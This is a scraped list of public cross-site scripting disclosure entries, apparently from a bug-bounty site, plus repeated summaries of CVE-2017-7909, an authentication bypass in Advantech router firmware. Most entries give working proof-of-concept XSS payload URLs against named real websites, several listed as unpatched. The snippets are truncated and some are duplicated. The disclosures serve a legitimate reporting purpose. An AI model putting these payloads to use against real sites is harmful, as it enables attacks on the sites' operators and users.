capps.com XSS vulnerability

Vulnerable URL: https://www.capps.com/search?query=%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1735238 VIP website...

rowan.edu XSS vulnerability

Vulnerable URL: http://www.rowan.edu/open/RUfaculty/listing.cfm?departmentID=31%22%3E%3Csvg/onload=prompt/openbugbounty/%3E Details: Description| Value ---|--- Patched:| Yes, at 20.11.2017 Latest check for patch:| 20.11.2017 14:31 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

arcep.com XSS vulnerability

Vulnerable URL: http://www.arcep.com/index.php?id=2122 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10290914 VIP website status:| No Check arcep.com SSL connection:| Grade: B+...

onyyxindia.com XSS vulnerability

Vulnerable URL: http://www.onyyxindia.com/search.php?search="'--! Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11876247 VIP website status:| No Check onyyxindia.com SSL connection:| Grade: B- Coordinated...

ccs-grp.com XSS vulnerability

Vulnerable URL: http://www.ccs-grp.com/nsearch/nsearch.cgi?query=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dalert%28%27OPENBUGBOUNTY%27%29%3E=SEARCH=20=normal=field%3Asubject%3Aascending Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017...

faqtac.ahrq.gov XSS vulnerability

Vulnerable URL: https://faqtac.ahrq.gov/ci/fattach/get/226/1494128670/filename/svgxss.svg Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check faqtac.ahrq.gov SSL...

homesupport.irobot.com XSS vulnerability

Vulnerable URL: https://homesupport.irobot.com/ci/fattach/get/518496/1494125386/filename/svgxss.svg Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

i-hop.org.uk XSS vulnerability

Vulnerable URL: https://www.i-hop.org.uk/ci/fattach/get/900/1494123718/filename/svgxss.svg Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7379948 VIP website status:| No Check i-hop.org.uk SSL connection:| Grade...

shiraz-beethoven.ir XSS vulnerability

Vulnerable URL: http://shiraz-beethoven.ir/news.php?newsid=%22%3E%3Cscript%3Ealert%27XSSPOSED%27%20%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 291713 VIP website status:| No Check...

die-90-tage-diaet.de XSS vulnerability

Vulnerable URL: https://www.die-90-tage-diaet.de/index.cfm?resid="'--!%25%75003CSvg /%25%753008Svg /%25%75FF1CSvg /Onload=confirmOPENBUGBOUNTY // Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

us.ask.com XSS vulnerability

Vulnerable URL: http://us.ask.com/web?q="' /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirmOPENBUGBOUNTY //=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

yourtango.com XSS vulnerability

Vulnerable URL: http://www.yourtango.com/search/'-confirmOPENBUGBOUNTY-' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11457 VIP website status:| Yes Check yourtango.com SSL...

CVE-2017-7909

A Use of Client-Side Authentication issue was discovered in Advantech B+B SmartWorx MESR901 firmware versions 1.5.2 and prior. The web interface uses JavaScript to check client authentication and redirect unauthorized users. Attackers may intercept requests and bypass authentication to access...

CVE-2017-7909

The CVE-2017-7909 issue affects Advantech B+B SmartWorx MESR901, specifically firmware 1.5.2 and earlier. The vulnerability stems from the web interface using client-side authentication (CWE-603), allowing an unauthenticated attacker to bypass authentication and access restricted web pages by int...

CVE-2017-7909

A Use of Client-Side Authentication issue was discovered in Advantech B+B SmartWorx MESR901 firmware versions 1.5.2 and prior. The web interface uses JavaScript to check client authentication and redirect unauthorized users. Attackers may intercept requests and bypass authentication to access...

deanza.edu XSS vulnerability

Vulnerable URL: http://www.deanza.edu/online-ed/showorientation.html?class=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 35970 VIP website status:| Yes Check deanza.edu SSL...

looki.net.br XSS vulnerability

Vulnerable URL: http://www.looki.net.br/login.html Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6338680 VIP website status:| No Check looki.net.br SSL connection:| Grade: B...

toyota.lk XSS vulnerability

Vulnerable URL: http://www.toyota.lk/oneinvoice.php?no=" Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 21:25 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 608428 VIP website status:| No Check toyota.lk SSL...

looki.com.hr XSS vulnerability

Vulnerable URL: http://www.looki.com.hr/login.html Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3511556 VIP website status:| No Check looki.com.hr SSL connection:| Grade: B...

windenergy2016.converve.com XSS vulnerability

Vulnerable URL: http://windenergy2016.converve.com/index.php?page=cattech=detail%22%27--!%3E%3CScript%20/K/%3Econfirm%27OPENBUGBOUNTY%27%3C/Script%20/K/%3E%5Beventid%5D=1%5Bq%5D=%5Bpage%5D=11%5Bid%5D=63 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017...